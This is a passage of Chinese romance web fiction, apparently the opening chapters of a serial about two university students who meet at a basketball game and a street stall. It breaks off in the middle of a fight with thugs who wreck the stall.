《情史》
1. 星星
“帅——!”
篮球场上,穿着1号深蓝球服的男生在最后几秒踩着三分线起跳投篮,额际甩出的汗水在某一秒折射出亮眼的光。
“两分——”
柏安无比庆幸自己今天戴了眼镜,整场比赛他只看了差不多十分钟,前两分钟犹豫在这里看打球还是找个排椅坐会儿,后八分钟他的视线就没离开过蓝队的1号。
察觉到有人看自己柏安才发觉自己那声“帅”喊得太早太卖力,因为球场上刚进过球的1号也朝这边看了过来,在亮眼日光里远远畅快笑着,右手两指并拢点在额际又扬起。
“79:77!蓝队胜!”
这会儿欢呼正烈,柏安不管其他,食指和拇指扣成圈抬到嘴边吹了一声悠长响亮的口哨。
“啊啊啊白仲钺太帅了啊!”
“白仲钺——”
“他都大三了,舔颜的日子过一天少一天啊!”
“白仲钺白仲钺——!!!”
柏安毫不迟疑地在心里把周围最响的名字和1号划了等号。前面他没看,但看的这十分钟对方队只进了一个球,其他时间全是蓝队在进,而蓝队似乎都有不用商量的默契,能传的球全传给了1号,只要1号抛出去的,没有一个不进。
险胜的这两分是1号从劣势生生拉回来的。
大概是后来才上场的。
柏安看得舒服,心情都敞亮了,揣着卫衣前边的兜在路边的一溜砖上量步子。
白仲月,仲夏夜之月?
柏安边慢腾腾地走边想,个子那么高打球那么猛,名字起这么文艺范儿。
不太搭呢。
-
白仲钺和队友招呼两句,谢绝了送到跟前的饮料和水,再回头的时候站在远处的人已经不见了。
“看上哪个学妹了,”祁延从后边勾住白仲钺肩膀,半边身子都压在他背上,“哥给你打听。”
“没,”白仲钺抬胳膊在他胸膛撞了下,“就知道学妹。”
走出一段的一个男生回头喊:“老白!钱儿!晚上一起出去吃啊!群里定地方!”
白仲钺也扬声喊:“行!”
祁延空着的胳膊举高比了个“OK”,然后整个人都挂在了白仲钺身上:“我亲爱的小钺钺,快让爸爸好好抱抱,怎么就这么招人疼呢。”
“一边去吧,”白仲钺当祁延不存在似的往前走,“没事都好好练练比嘴炮管用。”
“不不不,还是抱我们小钺钺大腿最管用。”
走的时候白仲钺不经意又朝那个方向扫了一眼。
还是第一次听见有男生这么朝他喊“帅”,说“厉害”“牛”的倒是不少,基本还得带着一句粗口。
嗓门儿挺好,口哨也吹得响。
白仲钺把脚边的小石头踢开,吹了声拐着弯的口哨。
祁延跑开没几分钟,回来的时候手里拿了两瓶水,三米开外就朝白仲钺扔了一瓶。
“想谋杀我继承家产吧。”白仲钺接住,拧开灌了小半瓶。
“今天你是功臣,爸爸容忍你的小调皮,”白仲钺个子太高,胳膊搭在他肩膀上费劲,祁延手腕搁在他肩上把他往前推,“紧走两步啊大长腿,汗凉了风一吹冻死个人,嘶……”
拿换洗衣服去洗澡的时候,白仲钺在柜子里翻两把,找出件有一年没穿过的连帽白卫衣。
下午出去吃饭的时候祁延先跑了,要去接他校花。
“校花”这个名头是祁延自己给人封的,两个人在一起半年多,感情稳步发展蒸蒸日上。
都是白天一起打球的人,七个人里五个有对象,祁延和另一个男生带了女朋友,一个女朋友没来的,还有两个男生是一对,队内自产自销。
将近十个人坐了一大桌,连吃带吹的,灯忽然黑了。紧接着白仲钺就被一把蒙住眼睛,还有两个人过来一边一个把他按住了。
听见屋里的人从五开始倒数喊数,白仲钺就猜出来这架势是要干什么,象征性挣扎两下,没真的反抗。
蒙他眼睛的手撤开,“嘭”一声炸了个小礼炮,金银飘带散了一桌,蛋糕不知道先前藏在哪里,这会儿被祁延放到了白仲钺面前。
一圈人站着起哄:“万年光棍生日快乐——!”
白仲钺倚着椅子笑:“全进菜里了,是不是有病。”
“早吃好了,赶紧的,许愿切蛋糕。”
白仲钺闭起眼睛的几秒脑子里空空的,不知道许什么,最后在心里默念了一句希望爸爸妈妈身体健康。
出来的时候刚六点,一顿饭连吃带闹吃到了近十点。
带对象的各自领着对象在门口散了,白仲钺和另外两个单着的一起。都喝了酒,吹着初秋稍凉的风格外舒服,几个人在商业街上不紧不慢地走,还有个人在摊上买了份烤冷面。
“刚出来两步就吃,怎么胖不死你?”
“那晚饭这夜宵,你懂个屁。”
白仲钺慢悠悠走着,边听边笑,忽然听见熟悉的一嗓子——
“哎!那个黑格子衬衣的帅哥!你还没付钱呐!”
白仲钺顺着声音抬头,“那个黑格子衬衣的帅哥”正朝自己的方向走来,步子看着挺正常,但离这么远白仲钺都听见那声喊了,那个男的就像没听见一样继续走自己的。
远处摊上的人还是穿着下午的白卫衣,伸着脖子向这边看,但估计是一个人守摊不好追人,只远远喊了几声。
白仲钺横迈一步挡在黑格子衬衣面前:“哥们儿,你是不是忘付钱了?那边摊主好像是在叫你。”
“啊?”黑格子衬衣仰头看看白仲钺,又看了看白仲钺身边正盯着自己的两个人,顿了一下,“哦,哦,好像是,谢谢啊。”
白仲钺没动,黑格子衬衣只好往回转身,白仲钺跟上了。
“那个,”黑格子衬衣回到小摊前,“不好意思啊,我忘记付钱了,这个手串多少钱来着?”
柏安那边给两个女生找出来个毛绒手机壳,这边笑着和黑格子衬衣说:“没事儿,还有个小挂件呢,我一起给你算钱。”
“啊,忘了,”黑格子衬衣从口袋又拿出个挂件来,“这两个,多少钱?”
“一共二十七,你忘了付钱还专门回来,这么讲诚信,给便宜点,收你二五。”
白仲钺没忍住笑。
“老白,什么情况?”白仲钺旁边的人低声问他,“见义勇为啊还是认识?”
白仲钺转头看了收钱的人一眼,正对上收好钱的人冲自己露出来两颗尖尖的小虎牙。
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“算认识,你们先回吧。”
另外两个人看那个黑格子衬衣男走了没闹事,就没多问:“行,我俩先走了。”
摊前过来了个男生买充电宝,摊后的人忙着给说容量价钱,抽空又抬头不好意思似的露了露两颗虎牙的牙尖。
这个小摊前边支了个一米多宽三米多长的台子,后边是个支起来的棚,挂着密密麻麻的手机壳、数据线、耳机、挂绳……白仲钺视线又落在台面上,除了后边挂的还摆了戒指、挂件、项链、手链……
棚子侧面还挂了帽子、围巾、袜子、鞋垫之类。
东西真不少。
买东西的走了,摊后的人又笑出两颗虎牙:“谢谢啊,我叫柏安,柏林的柏,安全的安。”
“小事,我叫——”白仲钺话在一半顿住,让开经过的一群人,朝摊子里边走了点。
“我知道,”柏安笑着接话,“白仲月。”
白仲钺习惯了别人知道自己名字,没意外:“校友?”
其实也不一定,这附近还有两所大学,都不太远,三个学校的学生串门是常事。
“对,我也是A大的,学数字媒体,大一。”
“大一?才入学没两个月就兼职?”
“多劳多得嘛,”柏安从一边弄开一个高马扎,“学长你坐。”
“不了,一会儿该关门了,你兼职到几点?”
柏安按亮手机看时间:“到十点二十,还十分钟。”
学校三十关大门,宿舍四十关楼门,十分钟之内从这儿回学校得用快步走,十分钟之内从学校大门到宿舍楼得小跑。
挤得这么紧。
“老板呢?你收摊?”
“老板一会儿过来,一般赶着差一两分钟的时候来,她收摊,我不用管这个。”
几分钟的功夫,街上人少了大半,白仲钺没说要走,柏安也没提让白仲钺先走。
白仲钺点点头,冷不防柏安在他下巴碰了下,白仲钺下意识偏头一躲,柏安收回手,递了张纸巾过来:“学长你下巴有东西,擦擦吧。”
“奶油,”白仲钺看着纸巾上的一点棕说,“谢了。”
“没事没事,学长你过生日?”
“嗯。”
柏安“哦”了一声。
十月三十。
他转身在摊上挑挑拣拣,最后拿起一个长方形的东西,然后把包装三两下拆了,手里只留下里边的项链。
是条银灰色的金属链,缀了一块两三公分的金属牌,金属牌上有颗同色的四角星,凸起一层,能看出来又不特别显眼。
柏安把项链放在手心里递出去:“不是多好的东西,一点心意,算礼物也算答谢。”
白仲钺把链子拿起来,指尖在柏安手心轻轻刮过:“你能随便拿东西?”
白仲钺的手很好看,不是普通的赏心悦目,是出现在视线里的那一秒就会夺取到注意力的好看。
柏安看着曲起的瘦长手指略微恍神,眨眨眼睛:“从工资扣就行。”
白仲钺眼里流露出不赞同,转头去看台面上被撕烂的包装。
柏安伸手又拿回来,踮脚举高手从白仲钺头顶直接套下去,把那块带着星星的铜牌摆正。
“学长生日快乐!”
2. 距离
小摊老板是个性格直爽的大姐,短到耳根的头发染成了深绿:“哟,这你同学?赶紧走吧。”
白仲钺退开几步,在那大姐看过来的时候点了点头打招呼。
“好,”柏安利索把腰间的小包解下来放在摊上,“郑姐,我拿了个项链,包装在那儿呢。”
白仲钺以为能走了,没想到柏安小跑过来说,“学长等我下,半分钟。”
看着转眼又出现在身边的柏安,白仲钺才知道柏安说的“半分钟”不是形容词。
“学长,上车!”
柏安左脚撑地,单手扶着车把,另一只手朝后指向车座。
一辆普通黑漆自行车,硬是让柏安喊出了杜卡迪雅马哈的气势。
白仲钺这两条腿跨坐在自行车后座属实憋屈,得留神抬着,累得慌。
骑出一小段柏安问他:“学长你会骑自行车吗?”
“会。”
柏安于是停了:“那换你载我吧。”
白仲钺没下车,直接扶着车把站起来从后座向前一步跨上车座,拨了下铃铛:“来。”
柏安侧坐上去,说:“好了。”
白仲钺扭过头看一眼:“这么坐?”
“嗯嗯,这边有根小铁杠,能踩着。”
“行,走了。”
骑自行车时间很足,街上还有人,白仲钺骑得不算快。
“学长,你在几号楼啊?”
“三号楼。”
“真的?我和你对楼,在四号406,学长你呢?”
“505。”
“你是单数,我们还是对面呢,说不定站在阳台就能看见你宿舍。”
白仲钺笑了笑:“我宿舍又没金子,有什么好看的。”
“好玩呗,”柏安掏出手机低头按两下,“学长我加你个好友吧,你说号码就行。”
白仲钺说完,柏安无声两秒后忽然“啊”了一声。
“怎么了?”
“没事,”柏安说,“手机黑屏了,重启一下就行。”
白仲钺“嗯”一声,感觉到车身因为后座的力道轻微地摆了摆。估计是在晃手机,白仲钺扶稳车把,嘴角带了点笑。
过了一会儿柏安又把号码重复一遍:“是这个吗?”
“是,”白仲钺有点惊讶,“听一遍就记住了?”
“只能记住这一会儿,”柏安重新搜索一遍才问,“是……我爱宝贝淮秀?”
其实是,wo愛→宝貝淮秀儿。
怎么看怎么像故意设的非主流情侣网名,说不定还有一个人叫wo愛→宝貝仲月儿。
白仲钺自己都愣了下:“啊,对。”
柏安把屏幕熄了又按开又熄了,做了好一会儿心理建设才问:“淮秀是学长女朋友吗?”
白仲钺“噗嗤”笑出声,连车子方向都跟着拐了一下:“哎你可饶了我吧,任淮秀是……哈哈……哎,我们教材《证券投资学》是他编的,前两天和舍友打赌输了改的网名。”
“哦!”柏安一下笑开,重新解锁点了好友申请,“学长你学什么专业呀?”
“企业管理。”
“企业管理还学证券投资啊?”
“不学,辅修的金融得学。”
“啊——”柏安拉长声音感叹,看着白仲钺距离自己不到二十公分的后背,顿时觉得这个背影又高大了一截。
白仲钺头像是条鱼的上半部分,白底黑笔的简笔画,看着生无可恋的,柏安把头像点开放大发现鱼眼睛的那个圆圈里写着三个小字——经济法。
虽然模糊,但看得出字很好看。
柏安把放大的鱼头保存下来:“学长你专业还学经济法吗?”
“辅修的专业要学,”白仲钺扭头扫一眼,车子稳稳当当,“你研究我头像呢?”
“啊,”柏安猛地一抬头,白仲钺已经转回头去了,柏安看着白仲钺后背被肩胛骨微微撑起的地方,说,“随手一点……是金融要学经济法吗?”
“经济管理要学。”
“……你辅修了几个专业啊?”
“就这两个,再多我就跳楼自尽了。”
柏安看着白仲钺身上和自己一个色的卫衣帽子发愣,他现在觉得白仲钺的背影高大到堪比人猿泰山。
还是别了。
柏安点开自己的资料,他高一注册的那天首次尝试西红柿炒鸡蛋获得成功,昵称到现在都是西红柿炒蛋,他想了一会儿编辑成“Moon”,又改成月亮的小图标。
好像还是太明显。
柏安又点进去,从输入法的表情里找了颗朝周围发着光的星星。
头像是以前的自拍,露着小半张脸,有点非主流。柏安打开浏览器搜“星星简笔画”,挑了个最简单的白底黑边中间没表情没颜色的五角星存图换成头像。
一气呵成。
“你平时停哪儿?”
“啊?”
白仲钺捏闸两脚撑住车,没让车身往哪边斜:“我说你的自行车,平时停在哪儿?”
柏安才发现都到宿舍楼旁边了:“停在二号楼楼后。”
二号楼已经过来了,白仲钺略向前弓身一脚撑地一脚蹬自行车,在路上划出一个半圆往回骑,没多久就在一排自行车边上停下来,柏安找空位置把自行车停了,又从筐里拿出锁把前轮锁在铁架上。
到三四号楼中间,柏安朝白仲钺挥手:“今天谢谢学长了,学长再见。”
白仲钺笑了声抬抬手:“再见,回吧。”
进宿舍的时候祁延正叼着棒棒糖打游戏,校花不让他抽烟,为了帮他戒给买了一箱棒棒糖。
白仲钺先把好友申请通过了,他平时把自己置顶当备忘录,这会儿柏安的头像和他的头像挨在一起,画风还挺和谐。
头像是星星昵称是星星,送人项链也带星星,这人这么喜欢星星?
那边弹了条消息过来:“学长好,我是柏安。”
对方知道他是谁,白仲钺也懒地多打字,回了一句“好的”就把手机放桌上去阳台洗漱,刷牙的时候从窗户往外看了会儿,仔细看竟然真的能大致看见对面宿舍楼阳台的人在干什么。
洗漱完从阳台进宿舍时祁延已经没在打游戏了,正拿着他手机,看见他进来立刻拐着调子喊:“今天谢谢学长啦~晚安~”
白仲钺拿毛巾抽他:“是不是有病。”
祁延把他手机朝他眼前一亮:“我可一个字儿没改,哎呦还学长啦,刚加上啊,哪儿来的小星星?听说你见义勇为去了,见义勇为救了颗小星星?”
床上正玩手游的
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一男生盯着手机起哄:“哎哟老白,春天到了啊,一会儿得上刑逼供啊!”
祁延捏着嗓子又开始添火:“今天谢谢学长啦~人家好怕怕~”
白仲钺和祁延打小认识,小学认识老打架,初中不知道怎么看对眼在一块混了三年,高中考在一个学校,高二刚开学祁延跟着家里转学走了,两个人偶尔打打电话发发消息。
高考完出成绩两个人先给对方打电话报了分,好在都考得不错没差几分,志愿是商量着一起填的,从学校到专业一模一样。
一起被录进了A大企业管理专业,当时祁延还没开学就托上人走了次后门,就为了把俩人弄一个寝室。
转眼两年多,都已经大三了。
宿舍四个人都是有数的,平时玩归玩闹归闹,没谁会主动翻别人手机。白仲钺和祁延是例外,他俩就没什么避忌的,别说柏安是个男的,就算真是他谈女朋友了也没什么不能让祁延知道。
祁延还在咋呼,白仲钺直接把毛巾一扯,对着祁延脖子就去了。
柏安这会儿正躺在床上翻白仲钺的空间动态。
最新的一条在今晚,图片是被糟蹋得不像样的蛋糕,配文是【谢谢大家,蛋糕很快乐】。
四百多个赞惊得柏安目瞪口呆,下边一连串各色各样关于“生日快乐”的评论看得柏安眼花缭乱,足足划了四五下才划完。
学长的受欢迎度未免太高了点……
柏安锁屏叹口气,又深吸一口气重新开了手机。
白仲钺发动态不算太频繁,有时候几天一条,有时候一两个月一条,没什么固定内容,有球场有旅游打卡有风景有吐槽,有两张球鞋,没自拍,半年可见。
平时动态的点赞量没有生日这条这么多,基本在一二百,评论数量也没今天这么恐怖,大多二三十条,白仲钺有时候回复有时候不回复。
可见范围里最早的一条是六月十三,应该快期末了,图片拍了马哲毛概邓论三本书的封面,配文是【诚挚感激周总理话少】。
柏安乐地在床上翻了个身。
“柏安你洗漱吗?我洗完了,马上要熄灯。”
“现在就洗。”
刷牙洗脸加冲脚加起来没用五分钟,柏安站在窗户边抬头看。
505……是正对的左边这间还是右边这间?
柏安小跑到宿舍门口看对面的宿舍号,405在左边,他又跑回阳台去,那505就是右边那个。
熄灯了。
宿舍里的小台灯和一个接一个亮起来,和手机屏幕的光一起映在玻璃上。
宿舍的层高大概是3米,六层楼是18米,假设学校严格按1:1.2的比例来,那楼间距就是21.6米。
伟大的勾股定理告诉我们斜边平方等于两直边平方相加,那么475.56的算术平方根是多少呢?
反正数从一开始就是估的,柏安也不为难自己,决定四舍五入只取到小数点后一位。
躺回床上发现白仲钺给他回了消息:【客气,晚安】。
柏安没给白仲钺改备注,看着那串非主流昵称就想笑。
还能想起白仲钺清朗的笑声。
柏安发了一条动态。
“【月亮图标】-【星星图标】≈ 21.8m ”
3. 梦
A大宿舍是四人寝,上床下桌,都各在各床上倚墙坐着的时候就像是在开方桌会谈。
白仲钺首先退出会谈。
躺下了。
祁延伸出一条腿从栏杆空里蹬蹬白仲钺被子:“老白你起来啊!爸爸加星就差两局了,革命胜利需要你!”
“不打了,你找别人组。”
“我不,万一一个不靠谱我再掉下去了,好不容易打上来的,”都没睡,祁延也不消停,“大川煜子,斗地主来不来?”
姜宗川也躺下了:“不来,你俩静音,我困歇了。”
祁延“啧”了一声,和赵煜打手势,赵煜往后一指墙,意思是再拉上个隔壁的一起,祁延比了个“OK”。
宿舍有人睡觉的时候醒着的人都安静,可白仲钺不知道怎么,躺了好一会儿没睡着。
白仲钺伸手从床边栏杆上挂的筐里摸出来手机,眯眼看了看,十二点零六,祁延和赵煜那边的小台灯开着,有光,白仲钺懒得再开一个,就着这点光翻身刷手机。
其实没什么好玩的,睡不着可也什么都不想干。
白仲钺刷空间看见了条【星星图标】发的动态:“【月亮图标】-【星星图标】≈ 21.8m”。白仲钺看了一会儿,点了个赞,返回的时候想,小学弟果然是还年轻,动态一股半非主流半文艺范儿杂糅的气息。
把人备注改了,白仲钺忽然想起来柏安的两颗小虎牙,不知道算不算虎牙,以前见过的虎牙都是突出来的,柏安牙很齐。
白仲钺进浏览器搜了搜,点开几个网页才确定,柏安那两颗尖尖的牙真的不是虎牙,是尖牙。
只是长得格外尖而已。
白仲钺又搜了搜“短时间记忆”,滑几下全是短时间高效记住知识点。又退回去,想了想改成搜“短期记忆”,还真搜出来了——短期记忆,记忆的一种类型,在未经复述的条件下,信息短时间储存在大脑中,通常在5-20秒,最长不超过1分钟。
短期记忆能力估计也有强弱,他Q号是七位数,从自己说完到柏安又说一遍,隔得时间好像不止一分钟了。白仲钺随便滑几下,想起来柏安中间还和自己说了句话,又重启了手机,不是“无干扰状态”。
眼看一点多了,一早还有课,白仲钺不困也把手机放回筐里让自己闭眼睡觉。睡之前脑子里还晃过去柏安那两颗尖牙,如果咬人岂不是随便一咬就能出两个血洞?
可能是因为强迫入睡,大脑里某根神经抗议,白仲钺睡得乱七八糟,一直在做梦。
一会儿梦见自己开车进了教学楼,一会儿又梦见车变成了改装过的摩托,后来梦见自己一拧油门冲进了大森林,为了躲吃人的兔子弄丢了摩托车,最后爬上树去,刚以为暂时安全,就过来一只鹿顶断了树,两根松柏断枝顶穿了他的腰弄出两个血窟窿,他没感觉到疼,顺着两根树枝滑下来,趴在鹿背上和两只溜圆黑亮的眼睛正正对上,两根树枝还插在他两侧腰里,他的下边就贴着鹿头,又热又硬……
白仲钺直接坐起来,弓着腰往后撸了一把头发。
姜宗川推门进来,手里拎着一堆早饭,看见白仲钺下床没出声,把早饭放自己桌上,过去伸手把两个还在睡的人的被子掀了。
“啊——”祁延闭着眼嚎了一声,“今天晚上再熬夜斗地主我就是狗。”
赵煜伸手把被子盖上,嘟囔着说:“闭嘴……川川大宝贝儿,十分钟……”
姜宗川脚尖把凳子往近处一勾,掏出手机坐下:“滚你爹的。”
白仲钺从阳台进来,看样子是冲了个战斗澡,他走到姜宗川旁边拿了份早饭:“谢了。”
姜宗川看白仲钺的架势就知道是起床气没过,舌头弹了声响当回话。他和体育社的一伙人天天雷打不动地晨跑出操,除了周末都顺手把宿舍的早饭带回来,反正几个人都不挑,买什么吃什么。
弹出来白仲钺转账的消息,姜宗川滑了顺便看看时间,咬着里脊饼起来又把赵煜的被子掀了一遍。
“闻着里脊饼的味儿了,”祁延洗漱完进来,赵煜打着呵欠出去,祁延手在衣服上一擦,走到姜宗川那儿,“我闻错了?”
姜宗川摊开手里的塑料袋,往后一指白仲钺:“买了俩。”
祁延悲声控诉:“老白你竟然拿我最爱的里脊饼!”
白仲钺拿着手里剩的半个扭头瞥祁延一眼:“你吃?”
“不吃,”祁延把剩下的两份煎饼果子和粥拿了,一份放赵煜桌上,被眼神攻击了就自己嘀咕,“今儿这起床气是有点久啊。”
白仲钺早上起来总有那么一会儿低气压,基本十来分钟就能慢慢好,不会发脾气,就是不爱说话,脸上整一个挂着“别烦我”。
祁延早习惯多少年了,除掉闲得升华故意找事的时候从不在早上刚醒时搭理白仲钺。也因为有祁延,姜宗川和赵煜在一开始就对白仲钺的起床气适应飞快,毕竟这人的起床气不碍着旁人,别理他就好。
“早上就当老白不存在的默契呢?”赵煜挤了点大宝抹脸,吸管“啪”一声戳进粥里,“大川,听,爱你的声音。”
姜宗川头都没抬地玩手机:“嗯傻儿子,爸爸也爱你。”
去教学楼路上赵煜才和白仲钺说话:“老白,今天晚上出去搓一顿吧,给你补生日。”
几个人逢谁过生日必出去吃一顿,寿星请客。昨天白仲钺生日,正好和一起打球的那伙人聚餐,赵煜和姜宗川都不认识,没去。反正自己宿舍的,一顿饭推后点无所谓。
白仲钺正要答应,祁延先应了:“必须去啊,昨天那顿平摊的,老白根本没出血!”
“你们今天晚上都没事的话就今晚去,”白仲钺说,“哪天都行。”
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“那就去呗,我也没事,”姜宗川指了一下祁延,“不兴领对象的啊。”
祁延攥着手机两手一举:“不折磨你们这群单身狗,我跟校花报备一下行程。”
“艹,”姜宗川碰了白仲钺一把,“今天不是给你补生日吧,我记得你生日早过了。”
白仲钺煞有其事地点头:“不是我生日,一下想不起来是谁的了。”
“哦——”赵煜立刻跟上,“嗨,这么没记性呢,钱儿生日啊!有没有父子爱了!老规矩,晚上请客啊!”
白仲钺和姜宗川一个高一个壮,本着自我爱护的原则,祁延奔着赵煜就去了。
“祁延你个臭不要脸的就知道冲我!”
下午他们专业没课,白仲钺去上辅修,下课在群里发了消息,几个人在校门口碰头。
白仲钺没回去放包,一个黑双肩包在右边肩上挂着:“吃什么啊?”
赵煜伸手晃了晃他包,肩膀宽,没滑掉:“我们远远看见你一只手揣兜一只手拿手机单肩背个包站着,这造型简直了,就一大写的装逼。”
白仲钺把包拿下来往赵煜怀里一扔:“那你装会儿吧。”
“我去,你下午不就两节,这是背了多少书。”
赵煜戏精上身弱不禁风地往后一退,被姜宗川伸手顶住了:“有车,好好走。”
“就三本,不知道的以为我包里放了三块砖。”白仲钺说。
“差不多了,”赵煜也把包单肩挂上,没走十米就感觉包要往下掉,又摘下来挂白仲钺肩上了,“我们这种窄肩人士,防滑都不管用,唉,生命不可承受之重啊。”
沿着商业街走出去一段,白仲钺朝左拐。
祁延往周围扫了一圈,都是刚开张的小摊:“这边没什么吃饭的店吧。”
白仲钺两手都插在裤子口袋,说:“你们不是没想好吃什么吗,随便逛逛。”
“不点菜了吧,”祁延说,“火锅?”
赵煜在一边说:“还没冬天呢,到冬天总吃火锅,趁现在吃点别的呗,烧烤去不去?要不烤肉?”
白仲钺没意见,随他们定。
姜宗川说:“好像新开了个烤肉店。”
“对对对,”赵煜立刻掏出手机来,“昨天刚听隔壁说的,叫金斧部落,转发集多少赞来着打七折。”
“那吃烤肉吧,”祁延点开赵煜的分享,“六十个赞,老白,上,争取半小时够数咱们吃七折去。”
白仲钺视线在旁边一个摊停了几秒然后转发到空间:“结账之前出示截图,不用急。”
“现在的大姐们也太潮了,”赵煜跟着白仲钺看了一眼旁边的小摊,然后抓了一把自己的头发,“我也想把这玩意儿染成绿的。”
白仲钺看着秒赞的星星简笔画头像挑挑眉,锁屏笑了一声:“行啊,染。”
4. 意外
吃完七折出来时间还早,他们一起去手机店给姜宗川买了个原装充电器,赵煜看了看一边墙上的手机壳说想买,拿了几个没有看中的。
白仲钺说:“街上小摊有不少卖的,一会儿去看看。”
“行,”赵煜把手里的手机壳挂回去,“正好走走,我吃撑了。”
这会儿摊前没什么人,柏安坐下摸出来手机,顺手把眼镜摘掉放在摊上。
白仲钺在那条集赞的评论下边自己评论了一条“集够了,谢谢大家”,但赞还是到了一百多,新出现的几条评论有说让白仲钺吃完说一声好不好吃的,有说好巧自己今晚也和同学去吃饭的。
柏安是第一个点赞的人,他设了特别关心,而且刚好在看手机,其实当时想评论一条的,但是不知道评论什么。而且白仲钺看着不怎么爱回复评论,如果他评论了白仲钺不回,他得一直挂心惦记,如果白仲钺回了别人不回他,他会觉得有点尴尬,纠结了一会儿索性没评论。
刷新了下,那条让白仲钺吃完说好不好吃的评论下边多了一条白仲钺的回复,【还行】。
白仲钺回复的人是学生会的,柏安备注了【学生会-文舒冉】。
刚开学的时候A大的社团和学生会都招新,柏安看哪一个都觉得有意思,拿了一堆表,最后筛筛选选留了几个填表加好友,一共加了五个学长学姐。虽然最后柏安只进了一个社团,但好友都留在列表了,昨天看白仲钺空间的时候柏安在点赞和评论里见到了四个。
文舒冉是其中之一,隔几条就会有她的评论出现。
柏安没进学生会,只咨询的时候见过文舒冉一次,决定不进学生会和文舒冉解释原因的时候发过几条消息,交集少,但对文舒冉印象很不错,是个长直发的学姐,温柔漂亮,说话待人特别耐心,人缘非常好。
柏安在心里把两个人的名字翻来倒去地念,又想象着把两个人放在一起,脑子里忽然冒出“郎才女貌”这么个词来。
柏安皱着眉在自己脑袋上拍了一巴掌。
“啪!”
拍自己的一下和这声响重叠,柏安反应两秒才站起来:“请问……额,几位大哥,想买点什么?”
小摊前不知道什么时候来了三个男人,三四十岁,一眼看过去就是“混”和“横”的气质。为首的人穿着一件黑黄相间的花外套,压着皮夹的手上有一截龙尾巴刺青。
那个人打量了一遍柏安身后挂着的各种东西:“你老板是姓郑吧。”
“啊?”柏安眨眨眼,“不是啊,老板姓张,大哥你找他吗?他一般都十点多收摊的时候来。”
那个人皱皱眉,问柏安:“你老板男的女的?”
“男的,一个哥。”
那个人把拍在摊上的皮夹收回去,对后边的人说:“再问问。”
柏安脚趾用力到快要抽筋,见那三个人走远才长吐了口气赶紧给老板打电话,好在很快接通了:“郑姐,刚刚来了三个挺凶的男的问老板是不是姓郑,现在走了但是不知道还会不会来……”
“我说姓张,是男的。”
“那提前收摊吗?”
“姐你要不找别人过来收摊吧,万一撞见了。”
“行我等你。”
柏安有点慌,张望一圈没看见那几个人,又卖了几样东西,趁着没人来买的时候把腰上放钱的包紧了紧,然后把另一边挡在小摊和棚子中间的箱子挪开了。
万一那几个人再来,至少两边都能跑,跑到人群里应该就没事了。
柏安一边看着周围一边收了一部分东西,放好一个箱子想继续收的时候忽然看见那几个人远远过来了,柏安立刻往外走,刚拐弯就刹住了步子——另一边也有人。
“稀里哗啦”一阵响,柏安后边的棚子被豁开一个大口子,竖着的铁架被踹翻了,进来的人手里拿着根棍子,柏安被堵在中间,根本跑不了。
“大哥……”柏安后背紧贴着棚边,“你们这是……”
后边拿棍子的人没说话,转头细细看了一圈,两边的人都已经聚过来了,一共六个人,三个手里拿着东西,穿黑黄花外套的人没拿棍子,胳膊底下还是那个皮夹。
花外套把嘴里的烟在小摊上捻了,扬声喊:“看热闹散远点,伤着不包赔!”
本来就已经躲远的人群又往后退了些,这片地方只剩了一看就不好惹的六个人和中间的柏安。
花外套把皮夹抽出来,走近在柏安脸上拍了拍:“挺多小聪明,想跑?”
柏安皱皱眉,忍着没动:“哥,我就是个兼职的学生,看见你们害怕才……”
“嗯,这会儿知道害怕了,刚瞎话不是编挺利索。”
“我……没骗你,哥,”柏安指甲陷进手心里,“真的有个姓张的哥来收摊,我以为他是老板……”
“嘁,小娘们儿挺能招惹,”花外套手里的皮夹又在柏安脸上拍了下,“通风报信了?那娘们儿还来不来?”
“我没……”
“手机在身上吧,查查通话记录?”
柏安不说话了。
花外套把皮夹收了:“别把哥哥们当小孩儿糊弄,砸!”
柏安心里一跳,接着除了花外套之外的几个人都一拥而上地砸摊,有棍子的用棍子,没棍子的上手脚。
几个人砸得热火朝天,柏安余光里看见花外套拿出手机来,没人注意自己,立刻扭头就跑,没想到刚跑出去几米小腿就挨了一下。
“啊——!”
砸过来的是根撑架子的铁管,又粗又沉,柏安被这一下砸得扑在地上,小腿一阵疼得钻心,动都动不了。
“哥哥今儿心情还行,想着给你两下长个记性就算了,”花外套慢腾腾走过来把地上的铁管捡在手里,“你这一下可是自找的,不算数。”
柏安模模糊糊看见砸摊子的几个人里有两个也过来了,他眼泪哗哗往外淌,是一疼厉害了就有的反应,控制不住。柏安知道自己躲不过去了,什么话都没再说,在地上弓起身子护住了头。
揍几下,咬咬牙就捱过去了。
——“你们干什么呢!”
“今儿有病的这么多,一个两个他妈上赶着找事?我操!”
柏安一愣,刚撑起身子胡乱擦了把眼泪就被扶住了。
“柏安?你怎么样?”
“
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没事……”柏安终于在朦胧里看清了神兵天降般出现在身边的人。
——是白仲钺。
居然是白仲钺。
花外套刚才被踹得连退几步,这会儿直起身刚要往这边冲,又被祁延给女朋友买的雪红果奶油盒子砸了满脸,重新扬起来的铁管在一停顿的功夫被姜宗川劈手夺了。
“喂警察吗!”赵煜对着手机喊,“大学路商业街杀人了!”
白仲钺直接把柏安从地上打横抱起来,走到稍远的台阶边,一旁站着的两个女生立刻说:“我们那会儿就报警了,警察应该很快就到,你们别和他们硬碰硬。”
“谢了,”白仲钺迅速把柏安放好,对她们说,“麻烦帮我照看一下。”
半分钟不到,那边已经动起手来了。周围没什么趁手的工具,白仲钺在地上抓了几条从摊子上砸飞出来的夸张链子缠在手上攥紧,两步过去把赵煜拉开冲着对面的人就是一拳狠的。
他和姜宗川一人对俩祁延对一个,白仲钺把边上的架子踢在刚刚摔在地上的人身上:“赵煜压住!”
赵煜立刻跪着压上去,掉在旁边的棍子没法给白仲钺,只能就近护在下面免得被对方捡去。
这条不是主干道,人流量没有那么大,主街的叫卖声音乐声吵闹嘈杂,不特意过来根本不会知道这里发生了什么。赵煜环顾四周,心里暗骂一声不巧,周围一个认识的人都没有。
这伙人不知道是不是混这片的,摊主有一个算一个都在忙收摊或者直接躲远看热闹,谁都不愿意惹麻烦。
“我去那不是老白吗!”远远有个男生路过看见,立刻往这边来,边跑边和身后的人喊,“给祝骁打电话让他们都赶紧来!”
白仲钺对的两个有个人手里有棍子,他硬扛了几下,被另一个人掺和着几次都没能抢下来。
“靠欺负我们没人吗!”来的男生不知道从哪个摊位上扯来块布从后边罩在拿棍子的人头上勒紧,白仲钺在那人转身的时候一脚踢在他膝弯,没管身后朝自己招呼来的一脚,硬生生把棍子从那人手里拧了下来。
